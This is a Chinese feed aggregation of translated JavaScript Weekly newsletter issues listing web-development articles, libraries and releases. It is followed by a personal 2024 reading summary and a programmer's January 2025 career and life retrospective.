“我回顾了 1000 个关于 HTMX 的观点” —— htmx 是一种越来越流行的,通过创造性地使用 HTML 属性来使用现代的、动态的浏览器功能的方式,而非手动使用 JavaScript 编写一切。Dylan 主要从社区情绪的角度看待利弊。

Dylan Huang

Node v22 开始原生支持 CJS/ESM 的互操作性 —— 这是 Node 开发人员在使用 CommonJS 和 ECMAScript 模块时的新时代概述。

Zachary Lee

终于理解了 Array.sort(comparator) 是如何工作的 —— “在学习了 13 年的 JavaScript 之后,我终于有办法记住 Array.sort() 中的 comparator 函数是如何工作的……”

James Kerr

检测 CSS 中 JavaScript 的支持 —— 一种根据用户浏览器中是否有 JavaScript 并提供替代 CSS 规则的方法。

Ryan Mulligan

深入 JavaScript 沙盒 —— “发掘 Deno 中几个不同漏洞的旅程。”

Secfault Security

如何使用 Node 和 Fastify 构建文档优良且经过认证的 API

Julían Duque (Heroku)

使用 Vite 在 NPM 工作区中重建本地依赖

Prosopo

Vite 是什么(并且为什么如此流行)?

Eric Simons

从 jQuery 到 Vanilla JavaScript 的小窍门

Tobias Ahlin

何时使用 Bun 而非 Node.js

Antonello Zanini

🛠 代码与工具

extension.js:零配置、跨浏览器扩展开发入门 —— 我们的目标是使它像使用一句 npx extension create my-extension 就能开始构建自己的浏览器扩展一样简单。这是 GitHub  仓库

Cezar Augusto

Layer Cake:一个面向 Svelte 的图形框架 —— 该库为你提供了一个通过普通元素(例如坐标系统和比例)创建响应式 web 图形的基准。在这里查看 许多示例组件

Layer Cake

Tagify v4.2:一个优雅的标签输入组件 —— 这个精选的演示可见已经投入了大量的努力。这是 GitHub  仓库

Yair Even-Or

Journey.js:零依赖库创建交互式导览 —— 在线演示十分基础,但对可访问性的关注和 51 种语言的内置支持是加分项。

William Troup

📺 YouTube.js:非官方的 YouTube API 客户端库 —— “InnerTube” 是 YouTube 客户端使用的 API,你也可以使用它,尽管他们可能不喜欢这个 API。它可以运行在 Node.js、Deno 和现代浏览器上。

LuanRT

Virtual x86:基于 JavaScript 和 WASM 的 x86 虚拟化 —— 在浏览器中运行 Linux、许多旧版本的 Windows、BSD、MS-DOS 和其他系统(而且速度很快)。这不是一个新项目,但我总是会对它不断更新的方式印象深刻。这是 GitHub  仓库

Fabian Hemmer

版本发布:

by Yucohny,Zhper at January 19, 2025 03:45 PM

685 - Node、Deno 的作者详细介绍了 JSR 的诞生理念和目标


title: 685 - Node、Deno 的作者详细介绍了 JSR 的诞生理念和目标
editors:

  • TimLi
  • loveloki
    description: Node、Deno 的作者不久之前发布了 JSR ,并写了篇文章详细介绍了它的诞生理念和目标。Node 在这周发布了 v22,带来了一些重要的增强功能。pnpm 也发布了 v9.0,放弃了对 Node 16 和 17 的兼容性。

🔥 本周热门

JSR 不是另一个包管理器 —- 当 Ryan 创建 Node 时,JavaScript 还没有包或标准模块系统。随着 npm 和 CommonJS 的流行,又诞生了像 Yarn 或 pnpm 这样在某些领域扩展了 npm 的工具,但在今天的 ES 模块时代,是时候进行转变了。JSR 不是一个新的 npm,而是 npm 的一种补充,使之更加安全且为现代开发量身定制。

Ryan Dahl

Node.js v22(Current)发布 —- 最新的、尖端的、主要版本的 Node 带来了一些关键的增强功能。v22 成为新的 ‘Current’ 发布版本(在 10 月份成为活跃的 LTS)。它增加了对 require-ing ESM 的支持,获得了一个内置的 WebSocket 客户端,升级到 V8 12.4,并包括了 一个任务运行器(例如 node --run task_name)。这篇博客文章 对此进行了更深入的探讨。

Rafael Gonzaga

pnpm v9.0:以效率为中心的包管理器 —- pnpm 长期以来一直是那些希望节省磁盘空间和 CPU 周期(或者因为它的优秀的 monorepo 支持)的人们的一个绝佳选择,同时保持了 npm 的大部分优点。v9.0 放弃了对 Node 16 和 17 的兼容性、尊重 package.json 中的 packageManager 字段、做了一些默认配置的更改以及采用了 Lockfile v9。

pnpm

快讯:

  • 🙈 4 月 24 日是 无 JavaScript 日,这是一个完全没有 JavaScript 的日子。目的是测试下你的网站能不能脱离 JavaScript 运行。

  • 🇫🇷 dotJS 2024 是一个将于 6 月 27 日在法国巴黎举行的 JavaScript 会议。到目前为止,演讲者名单相当吸引人。

  • rcompat 是一个有趣的服务器 JS 互操作性和运行时兼容性层,让你可以避免 Node、Deno 和 Bun 之间的差异。

📒  教程与趣事

迁移项目到 Bun 的故事 —- Render 的一位工程师 Eric,详细介绍了他如何将他的 Sveld 项目迁移到 Bun(在过程中替换了 Yarn 和 Vitest),包括他遇到的一些小问题,以及最后的性能提升测试结果。

Eric Liu

2024 年前端开发者/工程师手册 —- 一份关于当前 webdev 景观的指南,涵盖了如何快速掌握编辑器、CSS、UX、UI、命令行、工具和框架、性能、可访问性等主题。

Cody Lindley

HTML 属性 vs DOM 属性 —- 它们是不同的,但经常被捆绑在一起。Jake 描述了它们的区别,以及为什么这很重要。

Jake Archibald

📄 使用 new URL() 的问题,以及 URL.parse() 如何解决这个问题

📄 Intl.Segmenter 对象现在是基线的一部分 – 可互操作的,区域敏感的文本分割。

📄 Angular 中的事件分发 – 新的事件委托系统的内部运作原理。

📄 TypeScript 推断类型谓词特性的诞生全过程

📄 向现有的 TypeScript 项目添加 ESLint 和自动修复

📺 在 React 和 Svelte 中使用 TC39 提议的信号

📄 如何对 script 标签中的 JavaScript 进行转义

🛠  代码与工具

📊 Unovis:一个模块化的数据可视化框架 —- 适用于 React、Angular、Svelte、Vue 或普通的 JavaScript/TypeScript。处理各种事情,从 Sankey 图到地图、图表、和弦图,以及传统的线/面图。v1.4 版本 增加了以灵活方式注释可视化的支持。如果你想深入了解,这里有 一个示例画廊(带有代码)。

F5, Inc.

ReScript v11.1 发布,改进了 JSX 支持 —- ReScript 是一个受 OCaml 启发的、类型化的语言,它编译为 JavaScript,并且语言中内置了 JSX 转换。JSX 支持以前仅用于 React 的用例,但现在也适用于 Vue、Preact 和其他方法。

ReScript 项目

typed-xlsx:功能丰富的类型安全 Excel 报告 —- 定义一个强类型的电子表格模式,然后直接从 JavaScript/TypeScript 填充和处理表格,例如为用户生成报告 - 示例代码。基于 SheetJS 封装。GitHub 仓库

Cyprien Thao

Devalue v5.0:类似于 JSON.stringify,但是.. —- “当 JSON.stringify 无法完成任务时,它可以完成任务。” 即,它可以处理循环和重复的引用、正则表达式、MapSet、自定义类型等等。

Rich Harris

imask.js v7.6.0:一个 Vanilla JavaScript 输入掩码 —- 防止用户输入无效值。根据需要,为 Vue、Angular、React、Svelte 和 Solid 提供插件。

imaskjs

browser-or-node v3.0:找出你的代码在哪里运行 —- 提供了一种简单的方法来判断你的代码当前是在浏览器中运行、在 Node 中运行、在 Web Worker 中运行,还是在 Deno 中运行。支持 ESM 和 CJS 导入。

Dinesh Pandiyan

版本发布:

by TimLi,loveloki at January 19, 2025 03:45 PM

684 - Quill v2.0 发布:强大的 Web 富文本编辑器


title: 684 - Quill v2.0 发布:强大的 Web 富文本编辑器
editors:

  • TimLi
  • loveloki
    description: Quill 刚刚发布了 2.0 版本,这是一个开源的所见即所得编辑器的重大发布。新版本完全使用 TypeScript 进行重写并根据现代浏览器新特性进行了改进,而且还有更多正在开发中的功能,比如它的 ESM 打包。

🔥 本周热门

Quill v2.0:强大的 Web 富文本编辑器 —— 这是一个开源的所见即所得编辑器的重大发布。在 Quill v2.0 发布 这篇文章中,我们了解到 Quill 完全使用 TypeScript 进行重写并根据现代浏览器新特性进行了改进,而且还有更多正在开发中 的功能,比如它的 ESM 打包。想要尝试一下吗?这里有一个在线体验。

Slab Inc.

Airbnb 的详尽的 JavaScript 风格指南 —— 自从我们提到这个受欢迎的、有自己观点的风格指南已经过去了好几年,但是它一直在进行小的调整和修复,仍然是一个值得参考的指南。

Airbnb

升级 jQuery:朝着健康的 Web 进行努力 —— jQuery 仍然遍布整个 Web,jQuery 团队和 OpenJS 基金会联手确保网站得到更新。他们的 “健康 Web 检查” 工具 可以告诉你一个网站上的 jQuery 版本是否过时。

Timmy Willison (jQuery)

Biome v1.7:更快的格式化和 Linting,现在更容易迁移 —— Biome 是一个越来越引人注目、全能的支持 JavaScript、TypeScript 并且兼容 Prettier JSX 的格式化器和 linter。v1.7 使它更容易从 ESLint 和 Prettier 迁移,可以生成机器可读的 JSON 报告,并且有一些规则更新。

Biome Core Team

快讯:

📒  教程与趣事

使用 TypeScript 和 oclif 从零开始构建 CLIoclif 是由 Salesforce 维护的一个成熟的 CLI 工具开发框架。这个教程从零开始,直到构建出一个可以运行的东西。

Josh Cunningham

Qwik 与 Next.js:哪个更适合你的下一个网络项目? — 一场 Qwik 与 Next.js 的详细比较,以及作者为什么认为 Qwik 获得了胜利。

Samuel Mendenhall (Cisco)

React 服务器组件中的 CSS — 探索 React 服务器组件与像 styled-components 这样的 CSS-in-JS 库之间的兼容性问题。

Josh W Comeau

使用 Chrome 的性能面板分析 Node.js 性能 — 学习如何使用 Chrome 的性能面板来分析 Node 的性能。(JS 分析器将在 Chrome 124 中被移除,所以你需要熟悉新的方法。)

Chrome for Developers

可视化算法 — 这篇精彩的文章现在已经十年了,但我最近重新阅读了它,真是一种享受。Mike Bostock(D3.js 的创造者)通过演示和代码引导我们了解一些算法。

Mike Bostock

📄 跟上 Node 风格的生态系统 — Mux 如何更新其旧版 Node SDK 以适应新的 JS 运行时。- Dylan Jhaveri (Mux)

📄 使用 React Three Fiber 构建一个交互式的 3D 事件徽章 - Paul Henschel (Vercel)

📄 深入探讨 Rspack 和 Webpack 的 Tree Shaking - hardfist

📄 我在 Vue 中比在 React 中更喜欢的东西 - Jaydev Mahadevan

📄 使用 Vanilla JS 将纯文本转换为编码的 HTML - Alexis Kypridemos

🛠  代码与工具

TresJS:使用 Vue.js 构建 3D 体验 — 使用 Vue 组件和 Three.js 创建 3D 场景。想象一下 React-three-fiber 的 Vue 版本。如果你想快速尝试一下(字面意思),这里有一个在线 Demo

Alvaro Sabu

Next.js v14.2 发布 — 拥有超过100 万的月活跃开发者 的 Next.js 即将迎来其八岁生日并发布了一个新版本,支持使用 Turbopack 来改善本地开发、内存使用、CSS 和缓存优化、改进错误信息等。

Delba de Oliveira 和 Tim Neutkens

Otto v0.4:Go 中的 JavaScript 解析器和解释器 — 一个用 Go 原生编写的 JavaScript 解析器和解释器(是的,我们有一个新闻简报),如果你想在 Go 应用中添加脚本,这可能会很有用。

Robert Krimen

Wedges:React 的 UI 组件集合 — 由 Lemon Squeezy 的团队构建和使用,这是一套基于 Radix UI 和 Tailwind CSS 的组件,设计精良,美观大方。你还可以下载一个 Figma 文件,用于模拟布局。GitHub 仓库

Lemon Squeezy

HyperFormula:无头电子表格系统 — 一个无头电子表格系统 - 它提供了电子表格的解析、评估和表示,如果你使用的话需要自己提供 UI。它声称与 Excel 有“几乎完全的兼容性”。注意它使用 GPLv3 和商业许可证的双重授权。

Handsoncode

svelte-dnd-action:Svelte 的基于动作的拖放容器 — 大胆地声称它 “支持几乎所有可以想象的拖放用例,任何输入设备,并且完全可访问。”

Isaac Hagoel

⚙️ Zoompinch:Vue 3 的自然感觉 '捏放大' 功能 – 预计将在 React 和 Web Component 中出现。 - Maurice Conrad

⚙️ Craft.js – 一个用于构建拖放页面编辑器的 React 框架。 - Prev Wong

⚙️ Kotekan – 一个基于 Bun 并支持 React Server Components 的简单 React 框架。 - Benedikt Müller

⚙️ Cytoscape.js v3.29 – 图论/网络可视化和分析库。

⚙️ Tailwind Next.js Starter Blog v2.2 – 一个博客启动模板。

⚙️ RxDB v15.18 – 面向 JS 应用的离线优先、反应式数据库。

⚙️ JZZ v1.8.2 – 适用于 Node 和浏览器的 MIDI 库。

⚙️ Ember.js v5.8

by TimLi,loveloki at January 19, 2025 03:45 PM

683 期 - React 之外的前端开发:Svelte


title: 683 期 - React 之外的前端开发:Svelte
editors:

  • Yucohny
  • Jojo
  • TimLi
    description: 本期介绍了一篇文章,其深入研究了一位开发者如何使用 Svelte 构建现代前端应用程序的。如果你从未尝试过 Svelte,这是一个介绍关键概念、权衡和技巧的好起点。

🔥 本周热门

React 之外的前端开发:Svelte —— 一篇深入研究一个开发者如何使用 Svelte 构建现代前端应用程序的令人惊讶的全面文章。如果你从未尝试过 Svelte,这是一个介绍关键概念、权衡和技巧的好起点。

Héla Ben Khalfallah

🛠 用于玩转 TC39 Signal 提案的 JavaScript Bin —— 上周,我们介绍了 向 JavaScript 添加 Signal 的提案,现在通过 polyfill 就可以开始尝试了。

NullVoxPopuli

快讯:

📒  教程与趣事

开发 Figma 插件 —— 这篇文章介绍了关于使用 JavaScript 开发 Figma 插件的一些有趣观察,包括它们如何被沙盒化以及作者实现插件的一些细节。

Tom MacWright

一些开发者工具的提示和技巧 —— 作者表示,大多数开发人员只是浅尝辄止开发者工具的功能,这篇文章分享了十个技巧。

Pankaj Parashar

JavaScript 引擎中的对象结构 —— 如果想要了解对象在 JavaScript 引擎的内部表示,那么可以看看这篇文章。

Frontend Almanac

使用 Upstash、Fly 和 OpenAI 构建文章推荐系统

Rishi Raj Jain

不存在的浏览器安全漏洞:PDF 中的 JavaScript

ericlaw

🛠  代码与工具

Madge v7.0:从模块依赖关系创建图表 —— 一个用于生成模块依赖关系的可视化图表的工具,可以找到循环依赖,并发现其他有用的信息。

Patrik Henningsson

PythonMonkey:Python VM 中的 JavaScript 引擎 —— 如果你需要使用 Python,但也想运行 JavaScript,这个工具可以让你通过将 Mozilla SpiderMonkey JavaScript 引擎嵌入到 Python 运行时中,由 Python 提供主机环境来实现。

Distributive

Faces.js:用于生成基于矢量的卡通脸部的库 —— 最终结果让人想起了 Nintendo Wii 上是如何创建自己的角色的。脸部以 SVG 的形式绘制,每个脸部也由一个 JavaScript 对象表示,所以你可以稍后再次绘制它们。

ZenGM

Color.js v0.5:遵循最新的处理规范 —— 一个用于在浏览器中处理颜色的出色库,遵循最新的规范。它甚至已经被浏览器用来测试他们的 CSS Color 4/5 实现。

Lea Verou 和 Chris Lilley

Kosko:用 JavaScript 组织 Kubernetes Manifests —— 版本 v4.1 刚刚发布,带有一个新的插件系统。

Tommy Chen

版本发布:

by Yucohny,Jojo,TimLi at January 19, 2025 03:45 PM

682 期 - 向 JavaScript 添加 Signal 的提案


title: 682 期 - 向 JavaScript 添加 Signal 的提案
editors:

  • Yucohny
  • Zhper
  • Jojo
  • TimLi
    description: 本期介绍了一个非常早期阶段的提案,旨在为 ECMAScript/JavaScript 带来一个新特性:Signal!这个提案汲取了众多流行框架的思想,并试图让大家在处理状态和基于状态变更进行更新时达成一致。Rob 对提案进行了更多的介绍。

🔥 本周热门

向 JavaScript 添加 Signal 的提案 —— 这是一个非常早期阶段的提案,旨在为 ECMAScript/JavaScript 带来一个新特性:Signal!这个提案汲取了众多流行框架的思想,并试图让大家在处理状态和基于状态变更进行更新时达成一致。Rob 在这里对提案进行了更多的介绍

Rob Eisenberg 与 Daniel Ehrenberg

JS-Torch:一个类似 PyTorch 的 JavaScript 库 —— Python 的 PyTorch 是机器学习库中的黄金标准之一,而这个项目将其一些特性直接带入了 JavaScript 世界。这里有一个 基于浏览器的实时演示。虽然现在还处于早期阶段,但这个项目可能会变得重要。

Eduardo Leao

Bun v1.1 发布:开始支持 Windows —— 以轻松的代号 Bundows 命名,这个替代服务器端运行时现在可以直接在 Windows 10 及以上版本(当然还有 WSL、macOS 和 Linux)上运行。这是其被采纳的关键步骤,甚至像 Bun Shell 这样的特性也能在 Windows 上开箱即用。同时,Node 的兼容性继续提高,开始支持 node:http2 和 Bun 和 Node 进程之间的 IPC 支持。

The Entire Bun Team

快讯:

📒  教程与趣事

什么才算 JSON 数字? —— 尽管 JSON 有着标准,但答案比你想象的要复杂得多,尤其当涉及到与其他生态系统和非 JavaScript 语言相接时。

Brian Terlson

Dart 中 JavaScript 交互操作的历史 —— 大约 12 年前,谷歌推出了 Dart,一种最初似乎要接管许多 JavaScript 用例的语言,但最终找到了自己的定位(尤其是结合 Flutter)。不过,JavaScript 的交互操作性依然重要,并且在 Dart v3.3 中得到了 显著改进

Sigmund Cherem (谷歌)

介绍 BFCache —— 向后/向前缓存(也就是 bfcache)是一种浏览器优化,让你在浏览器中有更快的向前向后的体验 —— 它已经存在多年,通常需要你独自作为 JavaScript 开发人员,但同时有一些事情值得注意。

Sabatino Masala

直接在浏览器中对 PDF 和图像运行 OCR —— 在后台查看如何使用 JavaScript 创建一个简单的工具来对拖到页面上的图像和 PDF 执行 OCR。

Simon Willison

访问最后一个数组元素的简单方法

Ignace Maes

JavaScript CRDT 的比较

Alexis Métaireau

🛠  代码与工具

Cally:小型、功能丰富的日历组件 —— 一个包含选择单个日期或日期范围的开源日历组件集合。与框架无关,可主题化,本地化,并且具有可访问性(甚至有一个 可访问性声明 展示了其对这一领域的承诺)。

Nick Williams

📊 Counterscale:在 Cloudflare 上运行的可扩展 Web 分析 —— 一个简单的网络分析跟踪器和仪表板,旨在通过在 Cloudflare 上托管(在某些特定级别上还是免费的)、易于部署和维护。

Ben Vinegar

🎵 Tonal.js:音乐理论库 —— 充满了用于操纵音乐元素如音符、音程、和弦、音阶、调式和调性的函数,被用作 其他与音乐相关的项目 的基础。这是 GitHub 仓库

danigb

Fancy-ANSI:将 ANSI 文本转化为 HTML —— 如果出于某种原因想要将带有 ANSI 转义码 的文本转换为 HTML,那么这个工具将会很适合你。它的主页提供了许多示例。这是 GitHub 仓库

Andres Morey

Dioma:Vanilla JavaScript 和 TypeScript 的依赖注入容器 —— 没有装饰器,没有注解,没有魔法,没有依赖性——只需将 static scope 属性添加到类中,并使用 inject 来获取一个实例。

Eugene Daragan

svelte-zoomable-circles:用于浏览分层数据的 Svelte 组件 —— 一个用于显示和浏览分层数据的 Svelte 组件,使用可缩放的圆圈。这是 在线演示

Tyler Berbert

版本发布:

by Yucohny,Zhper,Jojo,TimLi at January 19, 2025 03:45 PM

681 期 - 通过动画彻底弄懂 Promise 执行原理


title: 681 期 - 通过动画彻底弄懂 Promise 执行原理
editors:

  • TimLi
  • Yucohny
    description: 本期介绍了一篇带有图解和动画的文章,配以一个 8 分钟视频,深入介绍了 Promise 的工作方式以及其在后台的调度方式。鉴于 Promise 是 JavaScript 中异步函数的基础,对这些机制有一个良好的心智模型是很有用的。

JavaScript 可视化:Promise 执行 —- 这是一篇带有图解和动画的文章,配以一个 8 分钟视频,深入介绍了 Promise 的工作方式以及其在后台的调度方式。鉴于 Promise 是 JavaScript 中异步函数的基础,对这些机制有一个良好的心智模型是很有用的。

Lydia Hallie

▶ Node.js:起源故事的纪录片 —- 这部纪录片有一个小时长,但它非常好地覆盖了 Node 的历史,包括 2014 年一切如何酝酿到 io.js 的分支。或许可以在复活节周末观看?

Honeypot

快讯:

📒 教程与趣事

一览 ECMAScript 的迭代器助手方法 —- 这个提案 已经有几年的历史了,但现在在 TC39 的 stage 3 中,迭代器助手正在被实现并与 V8 12.2/Chrome 122 一起发布。这些助手是像 .map.filter.take.forEach 这样的函数,并且可以提供给其原型链中有 Iterator.prototype 的任何对象。

Rezvan Mahdavi Hezaveh (V8)

介绍 Waku 的 Page Router —- Waku 是一个有趣的最小化服务器端 React 框架,现在它也为现代 React 服务器组件时代带来了一个最小化的 API:“现在,创建一个 Waku 站点就像在 ./src/pages 目录中创建一些文件和文件夹一样简单”。

Sophia Andren

需要知道的关于现代 CSS 的知识 —- 这是一份指南,列出了 CSS 的最新添加项(想想嵌套、视图转换,以及 :has() 等)。JavaScript 也在其中有出现,用于增强或者填充现代 CSS 功能。

Chris Coyier

构建一个微型 HTMX SSR 框架 -— Matteo 基于早期的关于创建一个“电影引语”应用程序的教程,探索了一个可以使用的替代后端堆栈,基于 Fastify、Vite 和 HTMX。

Matteo Collina

认识 Angular 的新 output() API —- Outputs 允许组件作者向父组件发出值。

Paul Gschwendtner(Google)

我们在三周内用 Svelte 重写了我们的 React 应用程序

Dusty Phillips

如何使用 Web 蓝牙 API

Confidence Okoghenun

🛠 代码与工具

Trix 2.1:一个干净、丰富的 Web WYSIWYG 编辑器 -— 一个由 37signals(被誉为 Ruby on Rails 的发源地)开发的 WYSIWYG 编辑器。它被用在他们的 Basecamp 和 HEY 应用程序中,所以它经过了最严格的测试。这是 GitHub 仓库

37signals

Atlassian 的实用拖放框架 -— 一个注重性能的拖放库,可以用来在任何前端堆栈上提供体验。页面上有一个实时演示,以及 Alex Reardon 的演讲录音,介绍了创建它的动机和它的工作方式。

Atlassian

Create Vue3 App:一个新的 Vue 应用脚手架工具 -— 受到像 Create React App 这样的工具的启发,这个工具使用 Vite 来帮助启动一个新的基于 Vue 的应用程序,使用的工具基于对一系列问题的回答。

Selemon Brahanu

<relative-time> v4.4:将时间戳格式化为本地化的相对时间 —- 向这个 Web Component 提供一个标准格式的日期和时间,它会渲染出适合的文本。它实际上在 GitHub 本身的各处都有使用(在提交时间上使用 Inspect Element)。欢迎查看 演示

GitHub

DOM3D.js:在 GitHub Gist 中的 3D DOM 查看器 —- 将这些代码复制并粘贴到浏览器控制台内,可以获得 DOM 的 3D 视图,这个效果很奇特,但很好玩。

Orion Reed

版本发布:

by TimLi,Yucohny at January 19, 2025 03:45 PM

hackernews

juejin article

2024阅读总结:一年读完的50本书

当阅读真正成为一种习惯,阅读的过程本身就已经是一种收获,而不再需要用意志力去坚持。今年是我写阅读总结的第四年。每次写总结的时候,我都需要去做回顾。如果一本书不做笔记,回忆起来其实很难记得这本书具体讲了什么。今年,我写了50多篇读书笔记,但在写这篇总结时,我并不会翻看所有的笔记,而是凭借当下的感觉去回顾和记录。

前几年,我习惯把所有读过的书都列出来,但今年想换种方式。列书单固然清晰,但其实没有太大意义。与其罗列,不如推荐几本今年让我印象最深的书,也许会对你有所启发:

  1. 《真需求》——梁宁
    这本书让我明白,做产品最重要的是洞察“真需求”。只有理解了用户的真正需求,才能做出真正有价值的产品。
  2. 《不上班咖啡馆》——古典
    这本书对职场人特别有帮助。它不是教你怎么工作,而是帮你思考自己究竟想成为什么样的人,未来如何走得更清晰、更坚定。
  3. 《深度学习革命》——凯德·梅茨
    AI无疑是这个时代最大的技术浪潮,而这本书让我看到了AI的过去、现在和未来。了解技术的历史,有助于更好地把握它的方向。

阅读数据的变化

image.png

以下是我在得到平台上两年的阅读数据对比:

指标2024年1月13日2025年1月19日变化
目标完成天数760 天1132 天+372 天
阅读时长(小时)2100.1 小时2533.9 小时+433.8 小时
读过的书695 本796 本+101 本
读完的书478 本534 本+56 本
阅读字数(万字)7341.6 万字8461.9 万字+1120.3 万字
写下笔记(条)10000 条13000 条+3000 条

可以看到,这一年我保持了较高的阅读频率,同时在阅读深度和输出上也有所提升。特别是目标完成天数和写下的笔记数量,让我看到自己的坚持和思考并没有停下脚步。


关于AI与未来的红利

2023年我看了很多理财书,因为21,22,23这三年股市下行的很厉害。没想到去年9月底那一波全都涨回来了,我果断减仓4成,现在涨跌都能平常心对待。跌了三年多的股市都熬过去了,还有什么困难是过不去的呢?

除此之外,今年我读了不少AI相关的书。AI是当下我们能抓住的最大红利,理解它、掌握它,可能会在未来的生活和工作中为我们带来意想不到的机会。如果你也感兴趣,可以看看以下这些书:

  • 《十堂极简人工智能课》
  • 《你好啊,人工智能:你的第一本前沿科技启蒙书》
  • 《人工智能时代》
  • 《AI时代,学什么,怎么学》
  • 《巴拉吉预言:技术、真相和构建未来的指南》

这些书让我对技术的理解更加清晰,也激励我在未来多去实践和探索AI的应用。


最后,很感谢您阅读了这篇文章,希望阅读也能给你带来人生的改变。

  • 2022年,我祝愿大家养成一个好习惯;
  • 2023年,我祝愿大家能有一颗好奇心;
  • 2024年,我祝愿大家学会与自己和解,找到内心的平和与力量;
  • 2025年,我祝愿大家勇敢尝试新的事物,拓展自己的边界与可能性。

新的一年,我们一起去发现更多的可能性,去读书、去思考、去实践!

by 石云升 at January 19, 2025 03:42 PM

juejin career

202501 复盘

最近我在复盘近五年做的事,经验和决策,复盘是人学习最快的方式。

经验

这五年在工作上中很多事,是开发的不是开发的都做了,但让我真正回忆的时候,我记不得什么了,直到看到 git 记录,看自己写的代码,才发现原来做了这么多。

所以纯做事没用,做了就忘,不复盘不反思,人没长进。不知道有没有人和我一样,记不清前些年做的事,读书的时候背课文也背不住,好像记忆力不太行。

还有一些事情的经验,也没有总结,我现在翻找以前的代码,看我曾经设计的架构,当时为什么那么设计,满足了业务什么诉求,有些细节和功能都不记得了,非常可惜。

还有些写了,但写的不太好理解,现在连我自己都看不懂了,比如站内信架构设计那期。

或许可以从代码中再找回来,只是要耗费较大的精力。

所以以后设计出好的架构,当时就写成文档,每天写一点,零零散散的总结出来。

事业

事业时时刻刻都在做决策,怎么看待工作、去哪家公司、未来什么规划等等,都是变动的。

男人在事业上要竭尽全力。

我想有钱想成功,但我就一普通人,没有人脉、没有资源、没有地位、没钱,我唯一能贡献的就是自己的体力了,如果连这都舍不得,加个 B 班天天叫,那我凭什么成功?

当然以上的话我只对自己说,之前写了篇文章,有人在下面骂我卷 🐶 活该,最卷的人没什么好下场。

我觉得我还不够卷,其实这五年我是断断续续的卷,卷的力度也不大。很少加到 12 点,早上也在睡懒觉。

那时候我还没被打醒呢,幻想着就这样上一辈子班,被辞退的时候拿赔偿回老家养老。可最近的事实真是狠狠的抽了我两巴掌,也好,至少把我抽醒了些。

一提到互联网,所有人都说寒冬。但程序员可以说是目前唯一一个,只要拼命就能赚钱的行业,技术是死的,把最重要最核心的东西,拼命学两年,面试的时候能给面试官讲清楚讲明白,就能拿到 offer,就这么简单。

大环境不好,跟个体有什么关系?现在聊啥都是大环境不好,这不好那不好的,摸摸自己的良心,自己做事做到极致了吗?还是就想混吃等死,糊弄一下得了?要是糊弄一下,那凭什么好?

做人自私一点,做的事最终都是为了自己,能给自己带来价值,工作也一样。

把工作当成能力训练场、大型实验基地、资源交换中心。

通过工作提升技能,这不是能力训练场吗?

通过公司的资源,验证自己的一些想法,比如运营、产品,这不就是大型实验基地?

把事情做好,做得漂亮,受到上级的赏识,给你贴上靠谱标签,以后有好事还找你,这不就是资源?

三者结合到一定程度,有资源,有能力,机会就找来了。

这个过程可能没我想象的那么苦,我之前那么痛苦完全是方法错了,心态也不对,自己一个人闷头猛干,不沟通不要资源,做错了还要自己负责,那能不痛苦吗?

所以我在学职场相关的技能,这可太有用了,我早点知道这些,也不至于白吃那么多苦啊。我把学习笔记放在互联网必备职场知识

调整心态,从被迫加班,变为主动选择加班,把加班目的从给公司创造价值,变成提升自己价值。

我回家也是写文章、看视频、做总结、学技能、写复盘,那我为什么不在公司搞呢?用公司免费的电和网,喝公司免费的水,拉免费的💩,这么一想,我还赚了,心态更好了哈哈。

当然我说这么多还是有人会骂我,无所谓 I dont care,其实这里很多文章是写给我自己看的,未来我看自己有没有提升,或是泄气的时候给自己加加油。

文字是有局限的,我在这啰里八嗦说了一大堆,读者以为懂了,其实没懂,因为你没我这样的经历,不会有这样的体会,自然不能理解文字后面感受,只有我回头再看的时候,联想到当时的处境,我可能才真正了解一点。

背诵知识

正因为文字是有局限的,所以当我在看大佬写的分享、抽象、总结的经验,我也是没懂的,尽管我知道了那些文字表达的含义,但我知道我不知道文字背后的感受、细节、经历、认知。

那怎么办?我做笔记,然后背下来,往工作、生活里带入。

学习笔记就是这样的,一个视频,一篇文章,看了后感觉,哇塞,真棒,太有感触了。然后呢?

然后刷下一个视频,继续哇塞,真棒,太有感触了。

一天刷了好多个,啥知识点也没记住,就留下一堆哇塞的感觉,给自己一种今天学了好多东西的错觉,其实啥也没学会,🐶 der不是。

慢下来,仔细学,认真学,学透彻一个,再学下一个,不求多,只求精。

比如我最近学习产品的问题拆解能力,今天和老婆聊婚姻,我把生活怎么变好拆解了一下。

拆解案例

什么样的生活,是更好的生活?

  1. 身体健康。
  2. 有钱。

怎么做可以获得更好的生活? 身体健康: 饮食;运动;睡眠;

这三方面我可以做些什么,帮助夫妻双方把各方面提升下?

不是天天 BB 运动啊、别点外卖啊、早点睡啊之类了,没用知道吗?谁不知道要这样?多想想,往深入的想想,怎么设计解决具体场景的方法。

比如点外卖,我的想法是,1不贵,2方便,不用洗碗,3我不挑食,什么都吃。

针对这 3 个点的打法,我设计一种方案。

首先搞个微波炉,前一晚上多做点饭菜,放在打包盒里面放冰箱,注意是打包盒;第二天中午吃饭的时候,微波炉转三分钟,吃完打包盒一扔。

这样方案和点外卖对比一下:

  1. 更划算,自己买菜肯定比点外卖便宜。
  2. 更方便,都是打包盒吃完一扔,甚至只需 3 分钟,外卖最快也得个 20 分钟。
  3. 不挑食,两者对吃饭的人没区别。
  4. 更健康,自己做饭用的柴米油盐更好,洗的菜都干净些。

这两个方案给当事人选,你觉得他会选哪种?我觉得小脑发育过的都会选第二种。

有钱:

  1. 女方赚更多钱。

公司有没有晋升机会?没有的话生活中有没有别的方式赚点外快?接点活,做点自媒体?各方面探索下,搞搞副业?

  1. 男方赚更多钱。

那至少在男方赚钱的时候,别打扰;做好生活中的事项,让男方全心赚钱。

我觉得我这产品拆解学的还不错,这就是我把知识带入到生活的案例。

孤独

人在面临巨大痛苦的时候,会想找个人倾诉,希望对方理解自己,给自己释放一下压力。

前些天我也是这样,我找了一些朋友聊天、吃饭、交流,我的情绪是好了些,但我也切实体会到一个道理 —— 没有人能真正的理解自己。

就像我说文字的局限性那样,即便是面对面聊天,多了语气、表情、眼神、肢体动作、氛围等,另一个人还是不能完全理解你的处境,因为他没有你的感受和经历,他也不和你认知一样。

后面不要追求别人的理解,事实上别人理解了也没用,那个事还是得自己去解决。

把重心放在了解决事情上,剖析自己情绪的原因。

比如那个 bug 让我坐立难安,那我就去把那个 bug 解决掉,解决后心态并没有得到很好的缓解,继续剖析,是因为我对之前写的代码不自信,都是赶鸭子上架写的,我担心还有别的 bug,那我就把所有的资金代码,重新 review 一遍,补全各种报警、对账,保证不会再出问题。这一波操作下来,心态好了很多。

